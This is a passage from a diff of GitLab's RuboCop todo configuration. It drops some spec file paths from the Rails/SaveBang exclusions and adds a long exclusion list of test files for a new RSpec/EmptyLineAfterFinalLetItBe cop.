- 'spec/lib/gitlab/gfm/reference_rewriter_spec.rb'
- 'spec/lib/gitlab/git_access_spec.rb'
- - 'spec/lib/gitlab/gitaly_client/object_pool_service_spec.rb'
- - 'spec/lib/gitlab/gitaly_client/repository_service_spec.rb'
- 'spec/lib/gitlab/import_export/avatar_saver_spec.rb'
- 'spec/lib/gitlab/import_export/base/relation_factory_spec.rb'
- 'spec/lib/gitlab/import_export/design_repo_restorer_spec.rb'
@@ -327,29 +198,15 @@ Rails/SaveBang:
- 'spec/lib/gitlab/import_export/uploads_manager_spec.rb'
- 'spec/lib/gitlab/import_export/uploads_saver_spec.rb'
- 'spec/lib/gitlab/import_export/wiki_restorer_spec.rb'
- - 'spec/lib/gitlab/legacy_github_import/importer_spec.rb'
- - 'spec/lib/gitlab/legacy_github_import/issue_formatter_spec.rb'
- - 'spec/lib/gitlab/legacy_github_import/milestone_formatter_spec.rb'
- - 'spec/lib/gitlab/legacy_github_import/pull_request_formatter_spec.rb'
- 'spec/lib/gitlab/lets_encrypt/client_spec.rb'
- - 'spec/lib/gitlab/markdown_cache/active_record/extension_spec.rb'
- - 'spec/lib/gitlab/markdown_cache/redis/store_spec.rb'
- 'spec/lib/gitlab/middleware/go_spec.rb'
- 'spec/lib/gitlab/shard_health_cache_spec.rb'
- - 'spec/lib/mattermost/command_spec.rb'
- - 'spec/lib/mattermost/session_spec.rb'
- - 'spec/lib/mattermost/team_spec.rb'
- 'spec/mailers/notify_spec.rb'
- 'spec/models/appearance_spec.rb'
- 'spec/models/application_record_spec.rb'
- 'spec/models/application_setting_spec.rb'
- 'spec/models/clusters/applications/helm_spec.rb'
- - 'spec/models/commit_spec.rb'
- - 'spec/models/commit_status_spec.rb'
- 'spec/models/container_repository_spec.rb'
- - 'spec/models/deploy_keys_project_spec.rb'
- - 'spec/models/deploy_token_spec.rb'
- - 'spec/models/deployment_spec.rb'
- 'spec/models/design_management/version_spec.rb'
- 'spec/models/diff_discussion_spec.rb'
- 'spec/models/diff_note_spec.rb'
@@ -360,11 +217,7 @@ Rails/SaveBang:
- 'spec/models/generic_commit_status_spec.rb'
- 'spec/models/grafana_integration_spec.rb'
- 'spec/models/group_spec.rb'
- - 'spec/models/hooks/system_hook_spec.rb'
- - 'spec/models/hooks/web_hook_spec.rb'
- 'spec/models/identity_spec.rb'
- - 'spec/models/issue/metrics_spec.rb'
- - 'spec/models/issue_spec.rb'
- 'spec/models/jira_import_state_spec.rb'
- 'spec/models/key_spec.rb'
- 'spec/models/lfs_objects_project_spec.rb'
@@ -399,28 +252,6 @@ Rails/SaveBang:
- 'spec/models/user_status_spec.rb'
- 'spec/models/wiki_page/meta_spec.rb'
- 'spec/models/wiki_page_spec.rb'
- - 'spec/presenters/ci/build_runner_presenter_spec.rb'
- - 'spec/presenters/ci/trigger_presenter_spec.rb'
- - 'spec/presenters/packages/conan/package_presenter_spec.rb'
- - 'spec/requests/api/ci/runner_spec.rb'
- - 'spec/requests/api/commit_statuses_spec.rb'
- - 'spec/requests/api/conan_packages_spec.rb'
- - 'spec/requests/api/deployments_spec.rb'
- - 'spec/requests/api/environments_spec.rb'
- - 'spec/requests/api/go_proxy_spec.rb'
- - 'spec/requests/api/graphql/mutations/merge_requests/set_labels_spec.rb'
- - 'spec/requests/api/graphql/user_query_spec.rb'
- - 'spec/requests/api/graphql_spec.rb'
- - 'spec/requests/api/group_import_spec.rb'
- - 'spec/requests/api/group_milestones_spec.rb'
- - 'spec/requests/api/internal/base_spec.rb'
- - 'spec/requests/api/issues/get_group_issues_spec.rb'
- - 'spec/requests/api/issues/post_projects_issues_spec.rb'
- - 'spec/requests/api/jobs_spec.rb'
- - 'spec/requests/api/labels_spec.rb'
- - 'spec/requests/api/project_import_spec.rb'
- - 'spec/requests/projects/cycle_analytics_events_spec.rb'
- - 'spec/requests/users_controller_spec.rb'
Rails/TimeZone:
Enabled: true
@@ -578,6 +409,620 @@ Rails/TimeZone:
- 'spec/tooling/rspec_flaky/listener_spec.rb'
- 'spec/tooling/rspec_flaky/report_spec.rb'
+# WIP: https://gitlab.com/gitlab-org/gitlab/-/issues/325836
+RSpec/EmptyLineAfterFinalLetItBe:
+ Exclude:
+ - ee/spec/controllers/groups/analytics/cycle_analytics/stages_controller_spec.rb
+ - ee/spec/controllers/groups/analytics/cycle_analytics/summary_controller_spec.rb
+ - ee/spec/controllers/groups/analytics/cycle_analytics/value_streams_controller_spec.rb
+ - ee/spec/controllers/groups/analytics/tasks_by_type_controller_spec.rb
+ - ee/spec/controllers/groups/autocomplete_sources_controller_spec.rb
+ - ee/spec/controllers/groups/insights_controller_spec.rb
+ - ee/spec/controllers/groups/todos_controller_spec.rb
+ - ee/spec/controllers/projects/branches_controller_spec.rb
+ - ee/spec/controllers/projects/incident_management/oncall_schedules_controller_spec.rb
+ - ee/spec/controllers/projects/insights_controller_spec.rb
+ - ee/spec/controllers/projects/licenses_controller_spec.rb
+ - ee/spec/controllers/projects/merge_requests_controller_spec.rb
+ - ee/spec/controllers/projects/mirrors_controller_spec.rb
+ - ee/spec/controllers/projects/threat_monitoring_controller_spec.rb
+ - ee/spec/controllers/subscriptions_controller_spec.rb
+ - ee/spec/features/boards/group_boards/multiple_boards_spec.rb
+ - ee/spec/features/ci_shared_runner_warnings_spec.rb
+ - ee/spec/features/dashboards/todos_spec.rb
+ - ee/spec/features/groups/groups_security_credentials_spec.rb
+ - ee/spec/features/groups/hooks/user_edits_hooks_spec.rb
+ - ee/spec/features/groups/iterations/user_edits_iteration_spec.rb
+ - ee/spec/features/groups/usage_quotas_spec.rb
+ - ee/spec/features/integrations/jira/jira_issues_list_spec.rb
+ - ee/spec/features/issues/bulk_assignment_epic_spec.rb
+ - ee/spec/features/issues/user_uses_quick_actions_spec.rb
+ - ee/spec/features/markdown/metrics_spec.rb
+ - ee/spec/features/registrations/group_invites_during_signup_flow_spec.rb
+ - ee/spec/features/subscriptions_spec.rb
+ - ee/spec/graphql/ee/mutations/concerns/mutations/resolves_issuable_spec.rb
+ - ee/spec/graphql/mutations/boards/update_epic_user_preferences_spec.rb
+ - ee/spec/graphql/mutations/clusters/agent_tokens/create_spec.rb
+ - ee/spec/graphql/mutations/compliance_management/frameworks/create_spec.rb
+ - ee/spec/graphql/mutations/compliance_management/frameworks/destroy_spec.rb
+ - ee/spec/graphql/mutations/compliance_management/frameworks/update_spec.rb
+ - ee/spec/graphql/mutations/dast_scanner_profiles/delete_spec.rb
+ - ee/spec/graphql/mutations/epics/add_issue_spec.rb
+ - ee/spec/graphql/mutations/gitlab_subscriptions/activate_spec.rb
+ - ee/spec/graphql/mutations/incident_management/oncall_rotation/create_spec.rb
+ - ee/spec/graphql/mutations/incident_management/oncall_rotation/destroy_spec.rb
+ - ee/spec/graphql/mutations/incident_management/oncall_schedule/create_spec.rb
+ - ee/spec/graphql/mutations/incident_management/oncall_schedule/destroy_spec.rb
+ - ee/spec/graphql/mutations/incident_management/oncall_schedule/update_spec.rb
+ - ee/spec/graphql/mutations/issues/set_epic_spec.rb
+ - ee/spec/graphql/mutations/requirements_management/export_requirements_spec.rb
+ - ee/spec/graphql/mutations/vulnerabilities/create_external_issue_link_spec.rb
+ - ee/spec/graphql/types/issue_type_spec.rb
+ - ee/spec/helpers/ee/graph_helper_spec.rb
+ - ee/spec/helpers/ee/issues_helper_spec.rb
+ - ee/spec/helpers/ee/projects/incidents_helper_spec.rb
+ - ee/spec/helpers/ee/projects/security/api_fuzzing_configuration_helper_spec.rb
+ - ee/spec/helpers/ee/projects/security/configuration_helper_spec.rb
+ - ee/spec/helpers/ee/projects/security/sast_configuration_helper_spec.rb
+ - ee/spec/helpers/ee/trial_helper_spec.rb
+ - ee/spec/helpers/ee/user_callouts_helper_spec.rb
+ - ee/spec/helpers/vulnerabilities_helper_spec.rb
+ - ee/spec/lib/ee/api/entities/user_with_admin_spec.rb
+ - ee/spec/lib/ee/api/entities/vulnerability_spec.rb
+ - ee/spec/lib/ee/event_filter_spec.rb
+ - ee/spec/lib/ee/gitlab/alert_management/payload/generic_spec.rb
+ - ee/spec/lib/ee/gitlab/alert_management/payload_spec.rb
+ - ee/spec/lib/ee/gitlab/ci/pipeline/chain/validate/external_spec.rb
+ - ee/spec/lib/ee/gitlab/ci/pipeline/quota/activity_spec.rb
+ - ee/spec/lib/ee/gitlab/ci/pipeline/quota/job_activity_spec.rb
+ - ee/spec/lib/ee/gitlab/ci/pipeline/quota/size_spec.rb
+ - ee/spec/lib/ee/gitlab/git_access_design_spec.rb
+ - ee/spec/lib/ee/gitlab/git_access_snippet_spec.rb
+ - ee/spec/lib/ee/gitlab/hook_data/issue_builder_spec.rb
+ - ee/spec/lib/ee/gitlab/import_export/project/tree_restorer_spec.rb
+ - ee/spec/lib/ee/gitlab/snippet_search_results_spec.rb
+ - ee/spec/lib/elastic/latest/git_class_proxy_spec.rb
+ - ee/spec/lib/gitlab/alert_management/payload/cilium_spec.rb
+ - ee/spec/lib/gitlab/analytics/cycle_analytics/summary/group/stage_time_summary_spec.rb
+ - ee/spec/lib/gitlab/checks/diff_check_spec.rb
+ - ee/spec/lib/gitlab/code_owners/loader_spec.rb
+ - ee/spec/lib/gitlab/elastic/document_reference_spec.rb
+ - ee/spec/lib/gitlab/elastic/group_search_results_spec.rb
+ - ee/spec/lib/gitlab/elastic/project_search_results_spec.rb
+ - ee/spec/lib/gitlab/git_access_spec.rb
+ - ee/spec/lib/gitlab/git_access_wiki_spec.rb
+ - ee/spec/lib/gitlab/graphql/aggregations/vulnerability_statistics/lazy_aggregate_spec.rb
+ - ee/spec/lib/gitlab/insights/project_insights_config_spec.rb
+ - ee/spec/lib/gitlab/sitemaps/url_extractor_spec.rb
+ - ee/spec/requests/api/analytics/code_review_analytics_spec.rb
+ - ee/spec/requests/api/audit_events_spec.rb
+ - ee/spec/requests/api/commits_spec.rb
+ - ee/spec/requests/api/dora/metrics_spec.rb
+ - ee/spec/requests/api/epics_spec.rb
+ - ee/spec/requests/api/external_approval_rules_spec.rb
+ - ee/spec/requests/api/geo_spec.rb
+ - ee/spec/requests/api/graphql/boards/epic_board_list_epics_query_spec.rb
+ - ee/spec/requests/api/graphql/current_user/todos_query_spec.rb
+ - ee/spec/requests/api/graphql/group/epic/epic_issues_spec.rb
+ - ee/spec/requests/api/graphql/group/epics_spec.rb
+ - ee/spec/requests/api/graphql/mutations/analytics/devops_adoption/segments/create_spec.rb
+ - ee/spec/requests/api/graphql/mutations/analytics/devops_adoption/segments/delete_spec.rb
+ - ee/spec/requests/api/graphql/mutations/boards/create_spec.rb
+ - ee/spec/requests/api/graphql/mutations/boards/epic_boards/create_spec.rb
+ - ee/spec/requests/api/graphql/mutations/boards/epic_boards/update_spec.rb
+ - ee/spec/requests/api/graphql/mutations/boards/issues/issue_move_list_spec.rb
+ - ee/spec/requests/api/graphql/mutations/boards/lists/update_limit_metrics_spec.rb
+ - ee/spec/requests/api/graphql/mutations/compliance_management/frameworks/destroy_spec.rb
+ - ee/spec/requests/api/graphql/mutations/compliance_management/frameworks/update_spec.rb
+ - ee/spec/requests/api/graphql/mutations/dast_scanner_profiles/update_spec.rb
+ - ee/spec/requests/api/graphql/mutations/environments/canary_ingress/update_spec.rb
+ - ee/spec/requests/api/graphql/mutations/epics/add_issue_spec.rb
+ - ee/spec/requests/api/graphql/mutations/epics/set_subscription_spec.rb
+ - ee/spec/requests/api/graphql/mutations/epics/update_spec.rb
+ - ee/spec/requests/api/graphql/mutations/gitlab_subscriptions/activate_spec.rb
+ - ee/spec/requests/api/graphql/mutations/incident_management/oncall_rotation/create_spec.rb
+ - ee/spec/requests/api/graphql/mutations/incident_management/oncall_schedule/create_spec.rb
+ - ee/spec/requests/api/graphql/mutations/incident_management/oncall_schedule/destroy_spec.rb
+ - ee/spec/requests/api/graphql/mutations/incident_management/oncall_schedule/update_spec.rb
+ - ee/spec/requests/api/graphql/mutations/issues/promote_to_epic_spec.rb
+ - ee/spec/requests/api/graphql/mutations/issues/update_spec.rb
+ - ee/spec/requests/api/graphql/mutations/iterations/create_spec.rb
+ - ee/spec/requests/api/graphql/mutations/notes/create/note_spec.rb
+ - ee/spec/requests/api/graphql/mutations/quality_management/test_cases/create_spec.rb
+ - ee/spec/requests/api/graphql/namespace/compliance_frameworks_spec.rb
+ - ee/spec/requests/api/graphql/project/alert_management/payload_fields_spec.rb
+ - ee/spec/requests/api/graphql/project/requirements_management/requirements_spec.rb
+ - ee/spec/requests/api/graphql/projects/compliance_frameworks_spec.rb
+ - ee/spec/requests/api/groups_spec.rb
+ - ee/spec/requests/api/internal/base_spec.rb
+ - ee/spec/requests/api/issues_spec.rb
+ - ee/spec/requests/api/ldap_spec.rb
+ - ee/spec/requests/api/merge_request_approval_rules_spec.rb
+ - ee/spec/requests/api/merge_request_approvals_spec.rb
+ - ee/spec/requests/api/merge_requests_spec.rb
+ - ee/spec/requests/api/merge_trains_spec.rb
+ - ee/spec/requests/api/project_approval_rules_spec.rb
+ - ee/spec/requests/api/project_approval_settings_spec.rb
+ - ee/spec/requests/api/projects_spec.rb
+ - ee/spec/requests/api/todos_spec.rb
+ - ee/spec/requests/api/vulnerabilities_spec.rb
+ - ee/spec/requests/api/vulnerability_issue_links_spec.rb
+ - ee/spec/requests/api/wikis_spec.rb
+ - ee/spec/requests/callout_spec.rb
+ - ee/spec/requests/git_http_geo_spec.rb
+ - ee/spec/requests/repositories/git_http_controller_spec.rb
+ - ee/spec/services/alert_management/extract_alert_payload_fields_service_spec.rb
+ - ee/spec/services/alert_management/process_prometheus_alert_service_spec.rb
+ - ee/spec/services/approval_rules/create_service_spec.rb
+ - ee/spec/services/audit_event_service_spec.rb
+ - ee/spec/services/award_emojis/add_service_spec.rb
+ - ee/spec/services/award_emojis/destroy_service_spec.rb
+ - ee/spec/services/billable_members/destroy_service_spec.rb
+ - ee/spec/services/boards/epic_boards/destroy_service_spec.rb
+ - ee/spec/services/clusters/agent_tokens/create_service_spec.rb
+ - ee/spec/services/compliance_management/frameworks/create_service_spec.rb
+ - ee/spec/services/compliance_management/frameworks/update_service_spec.rb
+ - ee/spec/services/dast_scanner_profiles/destroy_service_spec.rb
+ - ee/spec/services/dast_scanner_profiles/update_service_spec.rb
+ - ee/spec/services/dast_site_profiles/destroy_service_spec.rb
+ - ee/spec/services/dora/aggregate_metrics_service_spec.rb
+ - ee/spec/services/external_approval_rules/create_service_spec.rb
+ - ee/spec/services/external_approval_rules/destroy_service_spec.rb
+ - ee/spec/services/external_approval_rules/update_service_spec.rb
+ - ee/spec/services/gitlab_subscriptions/activate_service_spec.rb
+ - ee/spec/services/gitlab_subscriptions/apply_trial_service_spec.rb
+ - ee/spec/services/incident_management/incidents/upload_metric_service_spec.rb
+ - ee/spec/services/incident_management/oncall_rotations/edit_service_spec.rb
+ - ee/spec/services/merge_request_approval_settings/update_service_spec.rb
+ - ee/spec/services/personal_access_tokens/create_service_audit_log_spec.rb
+ - ee/spec/services/personal_access_tokens/groups/update_lifetime_service_spec.rb
+ - ee/spec/services/projects/after_rename_service_spec.rb
+ - ee/spec/services/projects/alerting/notify_service_spec.rb
+ - ee/spec/services/projects/destroy_service_spec.rb
+ - ee/spec/services/projects/gitlab_projects_import_service_spec.rb
+ - ee/spec/services/projects/import_export/export_service_spec.rb
+ - ee/spec/services/projects/transfer_service_spec.rb
+ - ee/spec/services/push_rules/create_or_update_service_spec.rb
+ - ee/spec/services/quality_management/test_cases/create_service_spec.rb
+ - ee/spec/services/quick_actions/interpret_service_spec.rb
+ - ee/spec/services/requirements_management/create_requirement_service_spec.rb
+ - ee/spec/services/requirements_management/export_csv_service_spec.rb
+ - ee/spec/services/requirements_management/update_requirement_service_spec.rb
+ - ee/spec/services/resource_access_tokens/create_service_spec.rb
+ - ee/spec/services/resource_access_tokens/revoke_service_spec.rb
+ - ee/spec/services/todo_service_spec.rb
+ - ee/spec/support/shared_examples/graphql/geo/geo_registries_resolver_shared_examples.rb
+ - ee/spec/support/shared_examples/graphql/mutations/set_multiple_assignees_shared_examples.rb
+ - ee/spec/support/shared_examples/quick_actions/issue/status_page_quick_actions_shared_examples.rb
+ - ee/spec/support/shared_examples/services/search_notes_shared_examples.rb
+ - spec/controllers/confirmations_controller_spec.rb
+ - spec/controllers/dashboard/projects_controller_spec.rb
+ - spec/controllers/invites_controller_spec.rb
+ - spec/controllers/profiles/emails_controller_spec.rb
+ - spec/controllers/users/terms_controller_spec.rb
+ - spec/features/cycle_analytics_spec.rb
+ - spec/features/dashboard/datetime_on_tooltips_spec.rb
+ - spec/features/dashboard/merge_requests_spec.rb
+ - spec/features/file_uploads/group_import_spec.rb
+ - spec/features/file_uploads/project_import_spec.rb
+ - spec/features/file_uploads/user_avatar_spec.rb
+ - spec/features/issues/user_sees_breadcrumb_links_spec.rb
+ - spec/features/markdown/metrics_spec.rb
+ - spec/features/merge_request/user_creates_merge_request_spec.rb
+ - spec/features/merge_request/user_posts_notes_spec.rb
+ - spec/features/operations_sidebar_link_spec.rb
+ - spec/features/participants_autocomplete_spec.rb
+ - spec/features/projects/badges/pipeline_badge_spec.rb
+ - spec/features/projects/branches/user_deletes_branch_spec.rb
+ - spec/features/projects/commit/cherry_pick_spec.rb
+ - spec/features/projects/commit/user_comments_on_commit_spec.rb
+ - spec/features/projects/commit/user_reverts_commit_spec.rb
+ - spec/features/projects/commit/user_views_user_status_on_commit_spec.rb
+ - spec/features/projects/confluence/user_views_confluence_page_spec.rb
+ - spec/features/projects/files/gitlab_ci_syntax_yml_dropdown_spec.rb
+ - spec/features/projects/issues/design_management/user_views_design_images_spec.rb
+ - spec/features/projects/labels/user_sees_links_to_issuables_spec.rb
+ - spec/features/projects/labels/user_views_labels_spec.rb
+ - spec/features/projects/members/master_adds_member_with_expiration_date_spec.rb
+ - spec/features/projects/merge_request_button_spec.rb
+ - spec/features/projects/pages/user_adds_domain_spec.rb
+ - spec/features/projects/pipelines/pipeline_spec.rb
+ - spec/features/projects/product_analytics/events_spec.rb
+ - spec/features/projects/settings/project_settings_spec.rb
+ - spec/features/projects/settings/repository_settings_spec.rb
+ - spec/features/projects/snippets/user_views_snippets_spec.rb
+ - spec/features/projects/user_sees_user_popover_spec.rb
+ - spec/features/snippets/embedded_snippet_spec.rb
+ - spec/finders/alert_management/alerts_finder_spec.rb
+ - spec/finders/ci/commit_statuses_finder_spec.rb
+ - spec/finders/container_repositories_finder_spec.rb
+ - spec/finders/deployments_finder_spec.rb
+ - spec/finders/events_finder_spec.rb
+ - spec/finders/group_descendants_finder_spec.rb
+ - spec/finders/groups_finder_spec.rb
+ - spec/finders/packages/conan/package_file_finder_spec.rb
+ - spec/finders/packages/go/module_finder_spec.rb
+ - spec/finders/packages/group_packages_finder_spec.rb
+ - spec/finders/packages/nuget/package_finder_spec.rb
+ - spec/finders/packages/package_file_finder_spec.rb
+ - spec/finders/packages/package_finder_spec.rb
+ - spec/finders/template_finder_spec.rb
+ - spec/finders/todos_finder_spec.rb
+ - spec/finders/user_recent_events_finder_spec.rb
+ - spec/frontend/fixtures/pipelines.rb
+ - spec/graphql/features/authorization_spec.rb
+ - spec/graphql/gitlab_schema_spec.rb
+ - spec/graphql/mutations/alert_management/alerts/todo/create_spec.rb
+ - spec/graphql/mutations/alert_management/create_alert_issue_spec.rb
+ - spec/graphql/mutations/alert_management/http_integration/create_spec.rb
+ - spec/graphql/mutations/alert_management/http_integration/destroy_spec.rb
+ - spec/graphql/mutations/alert_management/http_integration/reset_token_spec.rb
+ - spec/graphql/mutations/alert_management/http_integration/update_spec.rb
+ - spec/graphql/mutations/alert_management/prometheus_integration/create_spec.rb
+ - spec/graphql/mutations/alert_management/prometheus_integration/reset_token_spec.rb
+ - spec/graphql/mutations/alert_management/prometheus_integration/update_spec.rb
+ - spec/graphql/mutations/alert_management/update_alert_status_spec.rb
+ - spec/graphql/mutations/boards/lists/update_spec.rb
+ - spec/graphql/mutations/custom_emoji/create_spec.rb
+ - spec/graphql/mutations/discussions/toggle_resolve_spec.rb
+ - spec/graphql/mutations/environments/canary_ingress/update_spec.rb
+ - spec/graphql/mutations/issues/set_severity_spec.rb
+ - spec/graphql/mutations/labels/create_spec.rb
+ - spec/graphql/mutations/notes/reposition_image_diff_note_spec.rb
+ - spec/graphql/resolvers/admin/analytics/usage_trends/measurements_resolver_spec.rb
+ - spec/graphql/resolvers/alert_management/alert_status_counts_resolver_spec.rb
+ - spec/graphql/resolvers/branch_commit_resolver_spec.rb
+ - spec/graphql/resolvers/design_management/designs_resolver_spec.rb
+ - spec/graphql/resolvers/design_management/version/designs_at_version_resolver_spec.rb
+ - spec/graphql/resolvers/group_milestones_resolver_spec.rb
+ - spec/graphql/resolvers/merge_request_pipelines_resolver_spec.rb
+ - spec/graphql/resolvers/metrics/dashboards/annotation_resolver_spec.rb
+ - spec/graphql/resolvers/project_pipeline_resolver_spec.rb
+ - spec/graphql/resolvers/project_pipelines_resolver_spec.rb
+ - spec/graphql/resolvers/timelog_resolver_spec.rb
+ - spec/lib/bulk_imports/groups/loaders/group_loader_spec.rb
+ - spec/lib/extracts_path_spec.rb
+ - spec/lib/extracts_ref_spec.rb
+ - spec/lib/gitlab/cache/ci/project_pipeline_status_spec.rb
+ - spec/lib/gitlab/ci/build/policy/changes_spec.rb
+ - spec/lib/gitlab/ci/config/external/file/local_spec.rb
+ - spec/lib/gitlab/ci/config/external/file/project_spec.rb
+ - spec/lib/gitlab/ci/config/external/file/template_spec.rb
+ - spec/lib/gitlab/ci/config/external/mapper_spec.rb
+ - spec/lib/gitlab/ci/config/external/processor_spec.rb
+ - spec/lib/gitlab/ci/pipeline/chain/build_spec.rb
+ - spec/lib/gitlab/ci/pipeline/chain/cancel_pending_pipelines_spec.rb
+ - spec/lib/gitlab/ci/pipeline/chain/template_usage_spec.rb
+ - spec/lib/gitlab/ci/pipeline/chain/validate/external_spec.rb
+ - spec/lib/gitlab/ci/pipeline/chain/validate/repository_spec.rb
+ - spec/lib/gitlab/ci/pipeline/seed/build_spec.rb
+ - spec/lib/gitlab/ci/pipeline/seed/deployment_spec.rb
+ - spec/lib/gitlab/ci/pipeline/seed/environment_spec.rb
+ - spec/lib/gitlab/ci/pipeline/seed/processable/resource_group_spec.rb
+ - spec/lib/gitlab/ci/reports/test_failure_history_spec.rb
+ - spec/lib/gitlab/ci/syntax_templates_spec.rb
+ - spec/lib/gitlab/ci/trace/chunked_io_spec.rb
+ - spec/lib/gitlab/ci/trace_spec.rb
+ - spec/lib/gitlab/closing_issue_extractor_spec.rb
+ - spec/lib/gitlab/composer/cache_spec.rb
+ - spec/lib/gitlab/data_builder/wiki_page_spec.rb
+ - spec/lib/gitlab/database/partitioning_migration_helpers/foreign_key_helpers_spec.rb
+ - spec/lib/gitlab/database/partitioning_migration_helpers/table_management_helpers_spec.rb
+ - spec/lib/gitlab/deploy_key_access_spec.rb
+ - spec/lib/gitlab/email/handler/service_desk_handler_spec.rb
+ - spec/lib/gitlab/git/lfs_changes_spec.rb
+ - spec/lib/gitlab/git/merge_base_spec.rb
+ - spec/lib/gitlab/git/push_spec.rb
+ - spec/lib/gitlab/git_access_design_spec.rb
+ - spec/lib/gitlab/git_access_project_spec.rb
+ - spec/lib/gitlab/git_access_wiki_spec.rb
+ - spec/lib/gitlab/gitaly_client/operation_service_spec.rb
+ - spec/lib/gitlab/gl_repository/repo_type_spec.rb
+ - spec/lib/gitlab/group_search_results_spec.rb
+ - spec/lib/gitlab/json_cache_spec.rb
+ - spec/lib/gitlab/language_detection_spec.rb
+ - spec/lib/gitlab/project_search_results_spec.rb
+ - spec/lib/gitlab/prometheus/query_variables_spec.rb
+ - spec/lib/gitlab/reactive_cache_set_cache_spec.rb
+ - spec/lib/gitlab/reference_extractor_spec.rb
+ - spec/lib/gitlab/repository_cache_spec.rb
+ - spec/lib/gitlab/repository_hash_cache_spec.rb
+ - spec/lib/gitlab/repository_set_cache_spec.rb
+ - spec/lib/gitlab/repository_size_checker_spec.rb
+ - spec/lib/gitlab/repository_size_error_message_spec.rb
+ - spec/lib/gitlab/search_results_spec.rb
+ - spec/lib/gitlab/shell_spec.rb
+ - spec/models/abuse_report_spec.rb
+ - spec/models/alert_management/alert_spec.rb
+ - spec/models/audit_event_spec.rb
+ - spec/models/chat_name_spec.rb
+ - spec/models/chat_team_spec.rb
+ - spec/models/clusters/kubernetes_namespace_spec.rb
+ - spec/models/commit_spec.rb
+ - spec/models/deploy_token_spec.rb
+ - spec/models/deployment_spec.rb
+ - spec/models/diff_viewer/server_side_spec.rb
+ - spec/models/environment_spec.rb
+ - spec/models/event_collection_spec.rb
+ - spec/models/label_note_spec.rb
+ - spec/models/lfs_file_lock_spec.rb
+ - spec/models/member_spec.rb
+ - spec/models/merge_request_diff_spec.rb
+ - spec/models/namespace/root_storage_statistics_spec.rb
+ - spec/models/note_spec.rb
+ - spec/models/notification_setting_spec.rb
+ - spec/models/operations/feature_flag_spec.rb
+ - spec/models/packages/dependency_spec.rb
+ - spec/models/packages/go/module_version_spec.rb
+ - spec/models/packages/package_spec.rb
+ - spec/models/packages/tag_spec.rb
+ - spec/models/plan_limits_spec.rb
+ - spec/models/prometheus_alert_spec.rb
+ - spec/models/protected_branch/push_access_level_spec.rb
+ - spec/models/release_spec.rb
+ - spec/models/releases/evidence_spec.rb
+ - spec/models/releases/source_spec.rb
+ - spec/models/repository_spec.rb
+ - spec/models/service_spec.rb
+ - spec/models/snippet_repository_spec.rb
+ - spec/models/snippet_spec.rb
+ - spec/models/terraform/state_spec.rb
+ - spec/models/u2f_registration_spec.rb
+ - spec/models/user_spec.rb
+ - spec/models/wiki_page/meta_spec.rb
+ - spec/models/wiki_page_spec.rb
+ - spec/presenters/alert_management/alert_presenter_spec.rb
+ - spec/presenters/ci/pipeline_presenter_spec.rb
+ - spec/presenters/label_presenter_spec.rb
+ - spec/presenters/packages/composer/packages_presenter_spec.rb
+ - spec/presenters/packages/conan/package_presenter_spec.rb
+ - spec/presenters/packages/detail/package_presenter_spec.rb
+ - spec/presenters/packages/npm/package_presenter_spec.rb
+ - spec/presenters/packages/nuget/search_results_presenter_spec.rb
+ - spec/presenters/project_presenter_spec.rb
+ - spec/presenters/prometheus_alert_presenter_spec.rb
+ - spec/presenters/release_presenter_spec.rb
+ - spec/presenters/user_presenter_spec.rb
+ - spec/requests/api/api_spec.rb
+ - spec/requests/api/award_emoji_spec.rb
+ - spec/requests/api/branches_spec.rb
+ - spec/requests/api/ci/pipelines_spec.rb
+ - spec/requests/api/composer_packages_spec.rb
+ - spec/requests/api/deploy_tokens_spec.rb
+ - spec/requests/api/deployments_spec.rb
+ - spec/requests/api/error_tracking_spec.rb
+ - spec/requests/api/feature_flags_spec.rb
+ - spec/requests/api/freeze_periods_spec.rb
+ - spec/requests/api/generic_packages_spec.rb
+ - spec/requests/api/graphql/boards/board_lists_query_spec.rb
+ - spec/requests/api/graphql/ci/pipelines_spec.rb
+ - spec/requests/api/graphql/current_user_todos_spec.rb
+ - spec/requests/api/graphql/group/timelogs_spec.rb
+ - spec/requests/api/graphql/issue_status_counts_spec.rb
+ - spec/requests/api/graphql/metrics/dashboard_query_spec.rb
+ - spec/requests/api/graphql/mutations/admin/sidekiq_queues/delete_jobs_spec.rb
+ - spec/requests/api/graphql/mutations/alert_management/alerts/set_assignees_spec.rb
+ - spec/requests/api/graphql/mutations/alert_management/alerts/todo/create_spec.rb
+ - spec/requests/api/graphql/mutations/alert_management/alerts/update_alert_status_spec.rb
+ - spec/requests/api/graphql/mutations/alert_management/http_integration/create_spec.rb
+ - spec/requests/api/graphql/mutations/alert_management/prometheus_integration/create_spec.rb
+ - spec/requests/api/graphql/mutations/award_emojis/add_spec.rb
+ - spec/requests/api/graphql/mutations/award_emojis/toggle_spec.rb
+ - spec/requests/api/graphql/mutations/boards/create_spec.rb
+ - spec/requests/api/graphql/mutations/boards/destroy_spec.rb
+ - spec/requests/api/graphql/mutations/boards/lists/destroy_spec.rb
+ - spec/requests/api/graphql/mutations/boards/lists/update_spec.rb
+ - spec/requests/api/graphql/mutations/branches/create_spec.rb
+ - spec/requests/api/graphql/mutations/ci/ci_cd_settings_update_spec.rb
+ - spec/requests/api/graphql/mutations/commits/create_spec.rb
+ - spec/requests/api/graphql/mutations/container_expiration_policy/update_spec.rb
+ - spec/requests/api/graphql/mutations/discussions/toggle_resolve_spec.rb
+ - spec/requests/api/graphql/mutations/environments/canary_ingress/update_spec.rb
+ - spec/requests/api/graphql/mutations/issues/set_locked_spec.rb
+ - spec/requests/api/graphql/mutations/issues/set_severity_spec.rb
+ - spec/requests/api/graphql/mutations/issues/update_spec.rb
+ - spec/requests/api/graphql/mutations/jira_import/import_users_spec.rb
+ - spec/requests/api/graphql/mutations/jira_import/start_spec.rb
+ - spec/requests/api/graphql/mutations/labels/create_spec.rb
+ - spec/requests/api/graphql/mutations/merge_requests/accept_spec.rb
+ - spec/requests/api/graphql/mutations/merge_requests/create_spec.rb
+ - spec/requests/api/graphql/mutations/metrics/dashboard/annotations/create_spec.rb
+ - spec/requests/api/graphql/mutations/namespace/package_settings/update_spec.rb
+ - spec/requests/api/graphql/mutations/notes/create/diff_note_spec.rb
+ - spec/requests/api/graphql/mutations/notes/create/image_diff_note_spec.rb
+ - spec/requests/api/graphql/mutations/notes/create/note_spec.rb
+ - spec/requests/api/graphql/mutations/notes/reposition_image_diff_note_spec.rb
+ - spec/requests/api/graphql/mutations/notes/update/image_diff_note_spec.rb
+ - spec/requests/api/graphql/mutations/snippets/mark_as_spam_spec.rb
+ - spec/requests/api/graphql/mutations/snippets/update_spec.rb
+ - spec/requests/api/graphql/mutations/user_callouts/create_spec.rb
+ - spec/requests/api/graphql/namespace/package_settings_spec.rb
